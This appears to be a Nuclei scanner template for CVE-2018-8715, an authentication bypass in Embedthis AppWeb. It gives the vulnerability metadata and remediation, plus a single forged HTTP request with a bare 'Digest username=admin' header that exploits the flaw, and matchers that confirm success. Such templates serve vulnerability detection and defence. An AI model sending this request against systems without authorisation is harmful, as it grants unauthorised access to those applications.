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id : CVE-2018-8715
info :
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name : AppWeb - Authentication Bypass
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author : milo2012
severity : high
description : The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
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remediation : |
Apply the necessary patches or updates provided by the vendor to fix the authentication bypass vulnerability in AppWeb.
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reference :
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- https://github.com/embedthis/appweb/issues/610
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- https://blogs.securiteam.com/index.php/archives/3676
- https://security.paloaltonetworks.com/CVE-2018-8715
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- https://nvd.nist.gov/vuln/detail/CVE-2018-8715
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classification :
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cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 8.1
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cve-id : CVE-2018-8715
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cwe-id : CWE-287
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epss-score : 0.00927
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epss-percentile : 0.81143
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cpe : cpe:2.3:a:embedthis:appweb:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : embedthis
product : appweb
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tags : cve,cve2018,appweb,auth-bypass,embedthis
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http :
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- raw :
- |
GET / HTTP/1.1
Host : {{Hostname}}
Authorization : Digest username=admin
matchers-condition : and
matchers :
- type : word
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part : body
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words :
- '<a class="logo" href="https://embedthis.com/"> </a>'
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- type : status
status :
- 200
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# digest: 4a0a0047304502201c9ac5b0072f9617a54629d8fa3f0933ec3a7b43a5223d5f539ac471db1fb594022100d500b1e96fa5d9e3bac77bd213820df570636ab4424dfa35092572ba2a0464cb:922c64590222798bb761d5b6d8e72950